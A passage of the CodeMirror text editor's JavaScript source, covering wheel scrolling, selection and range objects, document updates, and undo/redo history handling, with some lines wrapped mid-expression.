wheelPixelsPerUnit)); }
      setScrollLeft(cm, Math.max(0, scroll.scrollLeft + dx *
wheelPixelsPerUnit));
      // Only prevent default scrolling if vertical scrolling is
      // actually possible. Otherwise, it causes vertical scroll
      // jitter on OSX trackpads when deltaX is small and deltaY
      // is large (issue #3579)
      if (!dy || (dy && canScrollY))
        { e_preventDefault(e); }
      display.wheelStartX = null; // Abort measurement, if in progress
      return
    }

    // 'Project' the visible viewport to cover the area that is
being
    // scrolled into view (if we know enough to estimate it).
    if (dy && wheelPixelsPerUnit != null) {
      var pixels = dy * wheelPixelsPerUnit;
      var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
      if (pixels < 0) { top = Math.max(0, top + pixels - 50); }
      else { bot = Math.min(cm.doc.height, bot + pixels + 50); }
      updateDisplaySimple(cm, {top: top, bottom: bot});
    }

    if (wheelSamples < 20) {
      if (display.wheelStartX == null) {
        display.wheelStartX = scroll.scrollLeft; display.wheelStartY =
scroll.scrollTop;
        display.wheelDX = dx; display.wheelDY = dy;
        setTimeout(function () {
          if (display.wheelStartX == null) { return }
          var movedX = scroll.scrollLeft - display.wheelStartX;
          var movedY = scroll.scrollTop - display.wheelStartY;
          var sample = (movedY && display.wheelDY && movedY
/ display.wheelDY) ||
            (movedX && display.wheelDX && movedX /
display.wheelDX);
          display.wheelStartX = display.wheelStartY = null;
          if (!sample) { return }
          wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample)
/ (wheelSamples + 1);
          ++wheelSamples;
        }, 200);
      } else {
        display.wheelDX += dx; display.wheelDY += dy;
      }
    }
  }

  // Selection objects are immutable. A new one is created every time
  // the selection changes. A selection is one or more non-overlapping
  // (and non-touching) ranges, sorted, and an integer that indicates
  // which one is the primary selection (the one that's scrolled into
  // view, that getCursor returns, etc).
  var Selection = function(ranges, primIndex) {
    this.ranges = ranges;
    this.primIndex = primIndex;
  };

  Selection.prototype.primary = function () { return
this.ranges[this.primIndex] };

  Selection.prototype.equals = function (other) {
    if (other == this) { return true }
    if (other.primIndex != this.primIndex || other.ranges.length !=
this.ranges.length) { return false }
    for (var i = 0; i < this.ranges.length; i++) {
      var here = this.ranges[i], there = other.ranges[i];
      if (!equalCursorPos(here.anchor, there.anchor) ||
!equalCursorPos(here.head, there.head)) { return false }
    }
    return true
  };

  Selection.prototype.deepCopy = function () {
    var out = [];
    for (var i = 0; i < this.ranges.length; i++)
      { out[i] = new Range(copyPos(this.ranges[i].anchor),
copyPos(this.ranges[i].head)); }
    return new Selection(out, this.primIndex)
  };

  Selection.prototype.somethingSelected = function () {
    for (var i = 0; i < this.ranges.length; i++)
      { if (!this.ranges[i].empty()) { return true } }
    return false
  };

  Selection.prototype.contains = function (pos, end) {
    if (!end) { end = pos; }
    for (var i = 0; i < this.ranges.length; i++) {
      var range = this.ranges[i];
      if (cmp(end, range.from()) >= 0 && cmp(pos, range.to())
<= 0)
        { return i }
    }
    return -1
  };

  var Range = function(anchor, head) {
    this.anchor = anchor; this.head = head;
  };

  Range.prototype.from = function () { return minPos(this.anchor,
this.head) };
  Range.prototype.to = function () { return maxPos(this.anchor, this.head)
};
  Range.prototype.empty = function () { return this.head.line ==
this.anchor.line && this.head.ch == this.anchor.ch };

  // Take an unsorted, potentially overlapping set of ranges, and
  // build a selection out of it. 'Consumes' ranges array
(modifying
  // it).
  function normalizeSelection(cm, ranges, primIndex) {
    var mayTouch = cm && cm.options.selectionsMayTouch;
    var prim = ranges[primIndex];
    ranges.sort(function (a, b) { return cmp(a.from(), b.from()); });
    primIndex = indexOf(ranges, prim);
    for (var i = 1; i < ranges.length; i++) {
      var cur = ranges[i], prev = ranges[i - 1];
      var diff = cmp(prev.to(), cur.from());
      if (mayTouch && !cur.empty() ? diff > 0 : diff >= 0) {
        var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(),
cur.to());
        var inv = prev.empty() ? cur.from() == cur.head : prev.from() ==
prev.head;
        if (i <= primIndex) { --primIndex; }
        ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
      }
    }
    return new Selection(ranges, primIndex)
  }

  function simpleSelection(anchor, head) {
    return new Selection([new Range(anchor, head || anchor)], 0)
  }

  // Compute the position of the end of a change (its 'to'
property
  // refers to the pre-change end).
  function changeEnd(change) {
    if (!change.text) { return change.to }
    return Pos(change.from.line + change.text.length - 1,
               lst(change.text).length + (change.text.length == 1 ?
change.from.ch : 0))
  }

  // Adjust a position to refer to the post-change position of the
  // same text, or the end of the change if the change covers it.
  function adjustForChange(pos, change) {
    if (cmp(pos, change.from) < 0) { return pos }
    if (cmp(pos, change.to) <= 0) { return changeEnd(change) }

    var line = pos.line + change.text.length - (change.to.line -
change.from.line) - 1, ch = pos.ch;
    if (pos.line == change.to.line) { ch += changeEnd(change).ch -
change.to.ch; }
    return Pos(line, ch)
  }

  function computeSelAfterChange(doc, change) {
    var out = [];
    for (var i = 0; i < doc.sel.ranges.length; i++) {
      var range = doc.sel.ranges[i];
      out.push(new Range(adjustForChange(range.anchor, change),
                         adjustForChange(range.head, change)));
    }
    return normalizeSelection(doc.cm, out, doc.sel.primIndex)
  }

  function offsetPos(pos, old, nw) {
    if (pos.line == old.line)
      { return Pos(nw.line, pos.ch - old.ch + nw.ch) }
    else
      { return Pos(nw.line + (pos.line - old.line), pos.ch) }
  }

  // Used by replaceSelections to allow moving the selection to the
  // start or around the replaced test. Hint may be "start" or
"around".
  function computeReplacedSel(doc, changes, hint) {
    var out = [];
    var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
    for (var i = 0; i < changes.length; i++) {
      var change = changes[i];
      var from = offsetPos(change.from, oldPrev, newPrev);
      var to = offsetPos(changeEnd(change), oldPrev, newPrev);
      oldPrev = change.to;
      newPrev = to;
      if (hint == "around") {
        var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor)
< 0;
        out[i] = new Range(inv ? to : from, inv ? from : to);
      } else {
        out[i] = new Range(from, from);
      }
    }
    return new Selection(out, doc.sel.primIndex)
  }

  // Used to get the editor into a consistent state again when options
change.

  function loadMode(cm) {
    cm.doc.mode = getMode(cm.options, cm.doc.modeOption);
    resetModeState(cm);
  }

  function resetModeState(cm) {
    cm.doc.iter(function (line) {
      if (line.stateAfter) { line.stateAfter = null; }
      if (line.styles) { line.styles = null; }
    });
    cm.doc.modeFrontier = cm.doc.highlightFrontier = cm.doc.first;
    startWorker(cm, 100);
    cm.state.modeGen++;
    if (cm.curOp) { regChange(cm); }
  }

  // DOCUMENT DATA STRUCTURE

  // By default, updates that start and end at the beginning of a line
  // are treated specially, in order to make the association of line
  // widgets and marker elements with the text behave more intuitive.
  function isWholeLineUpdate(doc, change) {
    return change.from.ch == 0 && change.to.ch == 0 &&
lst(change.text) == "" &&
      (!doc.cm || doc.cm.options.wholeLineUpdateBefore)
  }

  // Perform a change on the document data structure.
  function updateDoc(doc, change, markedSpans, estimateHeight) {
    function spansFor(n) {return markedSpans ? markedSpans[n] : null}
    function update(line, text, spans) {
      updateLine(line, text, spans, estimateHeight);
      signalLater(line, "change", line, change);
    }
    function linesFor(start, end) {
      var result = [];
      for (var i = start; i < end; ++i)
        { result.push(new Line(text[i], spansFor(i), estimateHeight)); }
      return result
    }

    var from = change.from, to = change.to, text = change.text;
    var firstLine = getLine(doc, from.line), lastLine = getLine(doc,
to.line);
    var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines
= to.line - from.line;

    // Adjust the line structure
    if (change.full) {
      doc.insert(0, linesFor(0, text.length));
      doc.remove(text.length, doc.size - text.length);
    } else if (isWholeLineUpdate(doc, change)) {
      // This is a whole-line replace. Treated specially to make
      // sure line objects move the way they are supposed to.
      var added = linesFor(0, text.length - 1);
      update(lastLine, lastLine.text, lastSpans);
      if (nlines) { doc.remove(from.line, nlines); }
      if (added.length) { doc.insert(from.line, added); }
    } else if (firstLine == lastLine) {
      if (text.length == 1) {
        update(firstLine, firstLine.text.slice(0, from.ch) + lastText +
firstLine.text.slice(to.ch), lastSpans);
      } else {
        var added$1 = linesFor(1, text.length - 1);
        added$1.push(new Line(lastText + firstLine.text.slice(to.ch),
lastSpans, estimateHeight));
        update(firstLine, firstLine.text.slice(0, from.ch) + text[0],
spansFor(0));
        doc.insert(from.line + 1, added$1);
      }
    } else if (text.length == 1) {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0] +
lastLine.text.slice(to.ch), spansFor(0));
      doc.remove(from.line + 1, nlines);
    } else {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0],
spansFor(0));
      update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
      var added$2 = linesFor(1, text.length - 1);
      if (nlines > 1) { doc.remove(from.line + 1, nlines - 1); }
      doc.insert(from.line + 1, added$2);
    }

    signalLater(doc, "change", doc, change);
  }

  // Call f for all linked documents.
  function linkedDocs(doc, f, sharedHistOnly) {
    function propagate(doc, skip, sharedHist) {
      if (doc.linked) { for (var i = 0; i < doc.linked.length; ++i) {
        var rel = doc.linked[i];
        if (rel.doc == skip) { continue }
        var shared = sharedHist && rel.sharedHist;
        if (sharedHistOnly && !shared) { continue }
        f(rel.doc, shared);
        propagate(rel.doc, doc, shared);
      } }
    }
    propagate(doc, null, true);
  }

  // Attach a document to an editor.
  function attachDoc(cm, doc) {
    if (doc.cm) { throw new Error("This document is already in
use.") }
    cm.doc = doc;
    doc.cm = cm;
    estimateLineHeights(cm);
    loadMode(cm);
    setDirectionClass(cm);
    if (!cm.options.lineWrapping) { findMaxLine(cm); }
    cm.options.mode = doc.modeOption;
    regChange(cm);
  }

  function setDirectionClass(cm) {
  (cm.doc.direction == "rtl" ? addClass :
rmClass)(cm.display.lineDiv, "CodeMirror-rtl");
  }

  function directionChanged(cm) {
    runInOp(cm, function () {
      setDirectionClass(cm);
      regChange(cm);
    });
  }

  function History(startGen) {
    // Arrays of change events and selections. Doing something adds an
    // event to done and clears undo. Undoing moves events from done
    // to undone, redoing moves them in the other direction.
    this.done = []; this.undone = [];
    this.undoDepth = Infinity;
    // Used to track when changes can be merged into a single undo
    // event
    this.lastModTime = this.lastSelTime = 0;
    this.lastOp = this.lastSelOp = null;
    this.lastOrigin = this.lastSelOrigin = null;
    // Used by the isClean() method
    this.generation = this.maxGeneration = startGen || 1;
  }

  // Create a history change event from an updateDoc-style change
  // object.
  function historyChangeFromChange(doc, change) {
    var histChange = {from: copyPos(change.from), to: changeEnd(change),
text: getBetween(doc, change.from, change.to)};
    attachLocalSpans(doc, histChange, change.from.line, change.to.line +
1);
    linkedDocs(doc, function (doc) { return attachLocalSpans(doc,
histChange, change.from.line, change.to.line + 1); }, true);
    return histChange
  }

  // Pop all selection events off the end of a history array. Stop at
  // a change event.
  function clearSelectionEvents(array) {
    while (array.length) {
      var last = lst(array);
      if (last.ranges) { array.pop(); }
      else { break }
    }
  }

  // Find the top change event in the history. Pop off selection
  // events that are in the way.
  function lastChangeEvent(hist, force) {
    if (force) {
      clearSelectionEvents(hist.done);
      return lst(hist.done)
    } else if (hist.done.length && !lst(hist.done).ranges) {
      return lst(hist.done)
    } else if (hist.done.length > 1 &&
!hist.done[hist.done.length - 2].ranges) {
      hist.done.pop();
      return lst(hist.done)
    }
  }

  // Register a change in the history. Merges changes that are within
  // a single operation, or are close together with an origin that
  // allows merging (starting with "+") into a single event.
  function addChangeToHistory(doc, change, selAfter, opId) {
    var hist = doc.history;
    hist.undone.length = 0;
    var time = +new Date, cur;
    var last;

    if ((hist.lastOp == opId ||
         hist.lastOrigin == change.origin && change.origin
&&
         ((change.origin.charAt(0) == "+" &&
hist.lastModTime > time - (doc.cm ? doc.cm.options.historyEventDelay :
500)) ||
          change.origin.charAt(0) == "*")) &&
        (cur = lastChangeEvent(hist, hist.lastOp == opId))) {
      // Merge this change into the last event
      last = lst(cur.changes);
      if (cmp(change.from, change.to) == 0 && cmp(change.from,
last.to) == 0) {
        // Optimized case for simple insertion -- don't want to add
        // new changesets for every character typed
        last.to = changeEnd(change);
      } else {
        // Add new sub-event
        cur.changes.push(historyChangeFromChange(doc, change));
      }
    } else {
      // Can not be merged, start a new event.
      var before = lst(hist.done);
      if (!before || !before.ranges)
        { pushSelectionToHistory(doc.sel, hist.done); }
      cur = {changes: [historyChangeFromChange(doc, change)],
             generation: hist.generation};
      hist.done.push(cur);
      while (hist.done.length > hist.undoDepth) {
        hist.done.shift();
        if (!hist.done[0].ranges) { hist.done.shift(); }
      }
    }
    hist.done.push(selAfter);
    hist.generation = ++hist.maxGeneration;
    hist.lastModTime = hist.lastSelTime = time;
    hist.lastOp = hist.lastSelOp = opId;
    hist.lastOrigin = hist.lastSelOrigin = change.origin;

    if (!last) { signal(doc, "historyAdded"); }
  }

  function selectionEventCanBeMerged(doc, origin, prev, sel) {
    var ch = origin.charAt(0);
    return ch == "*" ||
      ch == "+" &&
      prev.ranges.length == sel.ranges.length &&
      prev.somethingSelected() == sel.somethingSelected() &&
      new Date - doc.history.lastSelTime <= (doc.cm ?
doc.cm.options.historyEventDelay : 500)
  }

  // Called whenever the selection changes, sets the new selection as
  // the pending selection in the history, and pushes the old pending
  // selection into the 'done' array when it was significantly
  // different (in number of selected ranges, emptiness, or time).
  function addSelectionToHistory(doc, sel, opId, options) {
    var hist = doc.history, origin = options && options.origin;

    // A new event is started when the previous origin does not match
    // the current, or the origins don't allow matching. Origins
    // starting with * are always merged, those starting with + are
    // merged when similar and close together in time.
    if (opId == hist.lastSelOp ||
        (origin && hist.lastSelOrigin == origin &&
         (hist.lastModTime == hist.lastSelTime && hist.lastOrigin
== origin ||
          selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
      { hist.done[hist.done.length - 1] = sel; }
    else
      { pushSelectionToHistory(sel, hist.done); }

    hist.lastSelTime = +new Date;
    hist.lastSelOrigin = origin;
    hist.lastSelOp = opId;
    if (options && options.clearRedo !== false)
      { clearSelectionEvents(hist.undone); }
  }

  function pushSelectionToHistory(sel, dest) {
    var top = lst(dest);
    if (!(top && top.ranges && top.equals(sel)))
      { dest.push(sel); }
  }

  // Used to store marked span information in the history.
  function attachLocalSpans(doc, change, from, to) {
    var existing = change["spans_" + doc.id], n = 0;
    doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to),
function (line) {
      if (line.markedSpans)
        { (existing || (existing = change["spans_" + doc.id] =
{}))[n] = line.markedSpans; }
      ++n;
    });
  }

  // When un/re-doing restores text containing marked spans, those
  // that have been explicitly cleared should not be restored.
  function removeClearedSpans(spans) {
    if (!spans) { return null }
    var out;
    for (var i = 0; i < spans.length; ++i) {
      if (spans[i].marker.explicitlyCleared) { if (!out) { out =
spans.slice(0, i); } }
      else if (out) { out.push(spans[i]); }
    }
    return !out ? spans : out.length ? out : null
  }

  // Retrieve and filter the old marked spans stored in a change event.
  function getOldSpans(doc, change) {
    var found = change["spans_" + doc.id];
    if (!found) { return null }
    var nw = [];
    for (var i = 0; i < change.text.length; ++i)
      { nw.push(removeClearedSpans(found[i])); }
    return nw
  }

  // Used for un/re-doing changes from the history. Combines the
  // result of computing the existing spans with the set of spans that
  // existed in the history (so that deleting around a span and then
  // undoing brings back the span).
  function mergeOldSpans(doc, change) {
    var old = getOldSpans(doc, change);
    var stretched = stretchSpansOverChange(doc, change);
    if (!old) { return stretched }
    if (!stretched) { return old }

    for (var i = 0; i < old.length; ++i) {
      var oldCur = old[i], stretchCur = stretched[i];
      if (oldCur && stretchCur) {
        spans: for (var j = 0; j < stretchCur.length; ++j) {
          var span = stretchCur[j];
          for (var k = 0; k < oldCur.length; ++k)
            { if (oldCur[k].marker == span.marker) { continue spans } }
          oldCur.push(span);
        }
      } else if (stretchCur) {
        old[i] = stretchCur;
      }
    }
    return old
  }

  // Used both to provide a JSON-safe object in .getHistory, and, when
  // detaching a document, to split the history in two
  function copyHistoryArray(events, newGroup, instantiateSel) {
    var copy = [];
    for (var i = 0; i < events.length; ++i) {
      var event = events[i];
      if (event.ranges) {
        copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event)
: event);
        continue
      }
      var changes = event.changes, newChanges = [];
      copy.push({changes: newChanges});
      for (var j = 0; j < changes.length; ++j) {
        var change = changes[j], m = (void 0);
        newChanges.push({from: change.from, to: change.to, text:
change.text});
        if (newGroup) { for (var prop in change) { if (m =
prop.match(/^spans_(\d+)$/)) {
          if (indexOf(newGroup, Number(m[1])) > -1) {
            lst(newChanges)[prop] = change[prop];
            delete change[prop];
          }
        } } }
      }
    }
    return copy
  }

  // The 'scroll' parameter given to many of these indicated
whether
  // the new cursor position should be scrolled into view after
  // modifying the selection.

  // If shift is held or the extend flag is set, extends a range to
  // include a given position (and optionally a second position).
  // Otherwise, simply returns the range between the given positions.
  // Used for cursor motion and such.
  function extendRange(range, head, other, extend) {
    if (extend) {
      var anchor = range.anchor;
      if (other) {
        var posBefore = cmp(head, anchor) < 0;
        if (posBefore != (cmp(other, anchor) < 0)) {
          anchor = head;
          head = other;
        } else if (posBefore != (cmp(head, other) < 0)) {
          head = other;
        }
      }
      return new Range(anchor, head)
    } else {
      return new Range(other || head, head)
    }
  }

  // Extend the primary selection range, discard the rest.
  function extendSelection(doc, head, other, options, extend) {
    if (extend == null) { extend = doc.cm && (doc.cm.display.shift
|| doc.extend); }
    setSelection(doc, new Selection([extendRange(doc.sel.primary(), head,
other, extend)], 0), options);
  }

  // Extend all selections (pos is an array of selections with length
  // equal the number of selections)
  function extendSelections(doc, heads, options) {
    var out = [];
    var extend = doc.cm && (doc.cm.display.shift || doc.extend);
    for (var i = 0; i < doc.sel.ranges.length; i++)
      { out[i] = extendRange(doc.sel.ranges[i], heads[i], null, extend); }
    var newSel = normalizeSelection(doc.cm, out, doc.sel.primIndex);
    setSelection(doc, newSel, options);
  }

  // Updates a single range in the selection.
  function replaceOneSelection(doc, i, range, options) {
    var ranges = doc.sel.ranges.slice(0);
    ranges[i] = range;
    setSelection(doc, normalizeSelection(doc.cm, ranges,
doc.sel.primIndex), options);
  }

  // Reset the selection to a single range.
  function setSimpleSelection(doc, anchor, head, options) {
    setSelection(doc, simpleSelection(anchor, head), options);
  }

  // Give beforeSelectionChange handlers a change to influence a
  // selection update.
  function filterSelectionChange(doc, sel, options) {
    var obj = {
      ranges: sel.ranges,
      update: function(ranges) {
        this.ranges = [];
        for (var i = 0; i < ranges.length; i++)
          { this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
                                     clipPos(doc, ranges[i].head)); }
      },
      origin: options && options.origin
    };
    signal(doc, "beforeSelectionChange", doc, obj);
    if (doc.cm) { signal(doc.cm, "beforeSelectionChange", doc.cm,
obj); }
    if (obj.ranges != sel.ranges) { return normalizeSelection(doc.cm,
obj.ranges, obj.ranges.length - 1) }
    else { return sel }
  }

  function setSelectionReplaceHistory(doc, sel, options) {
    var done = doc.history.done, last = lst(done);
    if (last && last.ranges) {
      done[done.length - 1] = sel;
      setSelectionNoUndo(doc, sel, options);
    } else {
      setSelection(doc, sel, options);
    }
  }

  // Set a new selection.
  function setSelection(doc, sel, options) {
    setSelectionNoUndo(doc, sel, options);
    addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN,
options);
  }

  function setSelectionNoUndo(doc, sel, options) {
    if (hasHandler(doc, "beforeSelectionChange") || doc.cm
&& hasHandler(doc.cm, "beforeSelectionChange"))
      { sel = filterSelectionChange(doc, sel, options); }

    var bias = options && options.bias ||
      (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
    setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));

    if (!(options && options.scroll === false) && doc.cm)
      { ensureCursorVisible(doc.cm); }
  }

  function setSelectionInner(doc, sel) {
    if (sel.equals(doc.sel)) { return }

    doc.sel = sel;

    if (doc.cm) {
      doc.cm.curOp.updateInput = 1;
      doc.cm.curOp.selectionChanged = true;
      signalCursorActivity(doc.cm);
    }
    signalLater(doc, "cursorActivity", doc);
  }

  // Verify that the selection does not partially select any atomic
  // marked ranges.
  function reCheckSelection(doc) {
    setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null,
false));
  }

  // Return a selection that does not partially select any atomic
  // ranges.
  function skipAtomicInSelection(doc, sel, bias, mayClear) {
    var out;
    for (var i = 0; i < sel.ranges.length; i++) {
      var range = sel.ranges[i];
      var old = sel.ranges.length == doc.sel.ranges.length &&
doc.sel.ranges[i];
      var newAnchor = skipAtomic(doc, range.anchor, old &&
old.anchor, bias, mayClear);
      var newHead = skipAtomic(doc, range.head, old && old.head,
bias, mayClear);
      if (out || newAnchor != range.anchor || newHead != range.head) {
        if (!out) { out = sel.ranges.slice(0, i); }
        out[i] = new Range(newAnchor, newHead);
      }
    }
    return out ? normalizeSelection(doc.cm, out, sel.primIndex) : sel
  }

  function skipAtomicInner(doc, pos, oldPos, dir, mayClear) {
    var line = getLine(doc, pos.line);
    if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length;
++i) {
      var sp = line.markedSpans[i], m = sp.marker;

      // Determine if we should prevent the cursor being placed to the
left/right of an atomic marker
      // Historically this was determined using the inclusiveLeft/Right
option, but the new way to control it
      // is with selectLeft/Right
      var preventCursorLeft = ("selectLeft" in m) ? !m.selectLeft
: m.inclusiveLeft;
      var preventCursorRight = ("selectRight" in m) ?
!m.selectRight : m.inclusiveRight;

      if ((sp.from == null || (preventCursorLeft ? sp.from <= pos.ch :
sp.from < pos.ch)) &&
          (sp.to == null || (preventCursorRight ? sp.to >= pos.ch :
sp.to > pos.ch))) {
        if (mayClear) {
          signal(m, "beforeCursorEnter");
          if (m.explicitlyCleared) {
            if (!line.markedSpans) { break }
            else {--i; continue}
          }
        }
        if (!m.atomic) { continue }

        if (oldPos) {
          var near = m.find(dir < 0 ? 1 : -1), diff = (void 0);
          if (dir < 0 ? preventCursorRight : preventCursorLeft)
            { near = movePos(doc, near, -dir, near && near.line ==
pos.line ? line : null); }
          if (near && near.line == pos.line && (diff =
cmp(near, oldPos)) && (dir < 0 ? diff < 0 : diff > 0))
            { return skipAtomicInner(doc, near, pos, dir, mayClear) }
        }

        var far = m.find(dir < 0 ? -1 : 1);
        if (dir < 0 ? preventCursorLeft : preventCursorRight)
          { far = movePos(doc, far, dir, far.line == pos.line ? line :
null); }
        return far ? skipAtomicInner(doc, far, pos, dir, mayClear) : null
      }
    } }
    return pos
  }

  // Ensure a given position is not inside an atomic range.
  function skipAtomic(doc, pos, oldPos, bias, mayClear) {
    var dir = bias || 1;
    var found = skipAtomicInner(doc, pos, oldPos, dir, mayClear) ||
        (!mayClear && skipAtomicInner(doc, pos, oldPos, dir, true))
||
        skipAtomicInner(doc, pos, oldPos, -dir, mayClear) ||
        (!mayClear && skipAtomicInner(doc, pos, oldPos, -dir,
true));
    if (!found) {
      doc.cantEdit = true;
      return Pos(doc.first, 0)
    }
    return found
  }

  function movePos(doc, pos, dir, line) {
    if (dir < 0 && pos.ch == 0) {
      if (pos.line > doc.first) { return clipPos(doc, Pos(pos.line - 1))
}
      else { return null }
    } else if (dir > 0 && pos.ch == (line || getLine(doc,
pos.line)).text.length) {
      if (pos.line < doc.first + doc.size - 1) { return Pos(pos.line +
1, 0) }
      else { return null }
    } else {
      return new Pos(pos.line, pos.ch + dir)
    }
  }

  function selectAll(cm) {
    cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()),
sel_dontScroll);
  }

  // UPDATING

  // Allow "beforeChange" event handlers to influence a change
  function filterChange(doc, change, update) {
    var obj = {
      canceled: false,
      from: change.from,
      to: change.to,
      text: change.text,
      origin: change.origin,
      cancel: function () { return obj.canceled = true; }
    };
    if (update) { obj.update = function (from, to, text, origin) {
      if (from) { obj.from = clipPos(doc, from); }
      if (to) { obj.to = clipPos(doc, to); }
      if (text) { obj.text = text; }
      if (origin !== undefined) { obj.origin = origin; }
    }; }
    signal(doc, "beforeChange", doc, obj);
    if (doc.cm) { signal(doc.cm, "beforeChange", doc.cm, obj); }

    if (obj.canceled) {
      if (doc.cm) { doc.cm.curOp.updateInput = 2; }
      return null
    }
    return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin}
  }

  // Apply a change to a document, and add it to the document's
  // history, and propagating it to all linked documents.
  function makeChange(doc, change, ignoreReadOnly) {
    if (doc.cm) {
      if (!doc.cm.curOp) { return operation(doc.cm, makeChange)(doc,
change, ignoreReadOnly) }
      if (doc.cm.state.suppressEdits) { return }
    }

    if (hasHandler(doc, "beforeChange") || doc.cm &&
hasHandler(doc.cm, "beforeChange")) {
      change = filterChange(doc, change, true);
      if (!change) { return }
    }

    // Possibly split or suppress the update based on the presence
    // of read-only spans in its range.
    var split = sawReadOnlySpans && !ignoreReadOnly &&
removeReadOnlyRanges(doc, change.from, change.to);
    if (split) {
      for (var i = split.length - 1; i >= 0; --i)
        { makeChangeInner(doc, {from: split[i].from, to: split[i].to, text:
i ? [""] : change.text, origin: change.origin}); }
    } else {
      makeChangeInner(doc, change);
    }
  }

  function makeChangeInner(doc, change) {
    if (change.text.length == 1 && change.text[0] == ""
&& cmp(change.from, change.to) == 0) { return }
    var selAfter = computeSelAfterChange(doc, change);
    addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id :
NaN);

    makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc,
change));
    var rebased = [];

    linkedDocs(doc, function (doc, sharedHist) {
      if (!sharedHist && indexOf(rebased, doc.history) == -1) {
        rebaseHist(doc.history, change);
        rebased.push(doc.history);
      }
      makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc,
change));
    });
  }

  // Revert a change stored in a document's history.
  function makeChangeFromHistory(doc, type, allowSelectionOnly) {
    var suppress = doc.cm && doc.cm.state.suppressEdits;
    if (suppress && !allowSelectionOnly) { return }

    var hist = doc.history, event, selAfter = doc.sel;
    var source = type == "undo" ? hist.done : hist.undone, dest =
type == "undo" ? hist.undone : hist.done;

    // Verify that there is a useable event (so that ctrl-z won't
    // needlessly clear selection events)
    var i = 0;
    for (; i < source.length; i++) {
      event = source[i];
      if (allowSelectionOnly ? event.ranges &&
!event.equals(doc.sel) : !event.ranges)
        { break }
    }
    if (i == source.length) { return }
    hist.lastOrigin = hist.lastSelOrigin = null;

    for (;;) {
      event = source.pop();
      if (event.ranges) {
        pushSelectionToHistory(event, dest);
        if (allowSelectionOnly && !event.equals(doc.sel)) {
          setSelection(doc, event, {clearRedo: false});
          return
        }
        selAfter = event;
      } else if (suppress) {
        source.push(event);
        return
      } else { break }
    }

    // Build up a reverse change object to add to the opposite history
    // stack (redo when undoing, and vice versa).
    var antiChanges = [];
    pushSelectionToHistory(selAfter, dest);
    dest.push({changes: antiChanges, generation: hist.generation});
    hist.generation = event.generation || ++hist.maxGeneration;

    var filter = hasHandler(doc, "beforeChange") || doc.cm
&& hasHandler(doc.cm, "beforeChange");

    var loop = function ( i ) {
      var change = event.changes[i];
      change.origin = type;
      if (filter && !filterChange(doc, change, false)) {
        source.length = 0;
        return {}
      }

      antiChanges.push(historyChangeFromChange(doc, change));

      var after = i ? computeSelAfterChange(doc, change) : lst(source);
      makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
      if (!i && doc.cm) { doc.cm.scrollIntoView({from: change.from,
to: changeEnd(change)}); }
      var rebased = [];

      // Propagate to the linked documents
      linkedDocs(doc, function (doc, sharedHist) {
        if (!sharedHist && indexOf(rebased, doc.history) == -1) {
          rebaseHist(doc.history, change);
          rebased.push(doc.history);
        }
        makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
      });
    };

    for (var i$1 = event.changes.length - 1; i$1 >= 0; --i$1) {
      var returned = loop( i$1 );

      if ( returned ) return returned.v;
    }
  }

  // Sub-views need their line numbers shifted when text is added
  // above or below them in the parent document.
  function shiftDoc(doc, distance) {
    if (distance == 0) { return }
    doc.first += distance;
    doc.sel = new Selection(map(doc.sel.ranges, function (range) { return
new Range(
      Pos(range.anchor.line + distance, range.anchor.ch),
      Pos(range.head.line + distance, range.head.ch)
    ); }), doc.sel.primIndex);
    if (doc.cm) {
      regChange(doc.cm, doc.first, doc.first - distance, distance);
      for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
        { regLineChange(doc.cm, l, "gutter"); }
    }
  }

  // More lower-level change function, handling only a single document
  // (not linked ones).
  function makeChangeSingleDoc(doc, change, selAfter, spans) {
    if (doc.cm && !doc.cm.curOp)
      { return operation(doc.cm, makeChangeSingleDoc)(doc, change,
selAfter, spans) }

    if (change.to.line < doc.first) {
      shiftDoc(doc, change.text.length - 1 - (change.to.line -
change.from.line));
      return
    }
    if (change.from.line > doc.lastLine()) { return }

    // Clip the change to the size of this doc
    if (change.from.line < doc.first) {
      var shift = change.text.length - 1 - (doc.first - change.from.line);
      shiftDoc(doc, shift);
      change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift,
change.to.ch),
                text: [lst(change.text)], origin: change.origin};
    }
    var last = doc.lastLine();
    if (change.to.line > last) {
      change = {from: change.from, to: Pos(last, getLine(doc,
last).text.length),
                text: [change.text[0]], origin: change.origin};
    }

    change.removed = getBetween(doc, change.from, change.to);

    if (!selAfter) { selAfter = computeSelAfterChange(doc, change); }
    if (doc.cm) { makeChangeSingleDocInEditor(doc.cm, change, spans); }
    else { updateDoc(doc, change, spans); }
    setSelectionNoUndo(doc, selAfter, sel_dontScroll);

    if (doc.cantEdit && skipAtomic(doc, Pos(doc.firstLine(), 0)))
      { doc.cantEdit = false; }
  }

  // Handle the interaction of a change to a document with the editor
  // that this document is part of.
  function makeChangeSingleDocInEditor(cm, change, spans) {
    var doc = cm.doc, display = cm.display, from = change.from, to =
change.to;

    var recomputeMaxLength = false, checkWidthStart = from.line;
    if (!cm.options.lineWrapping) {
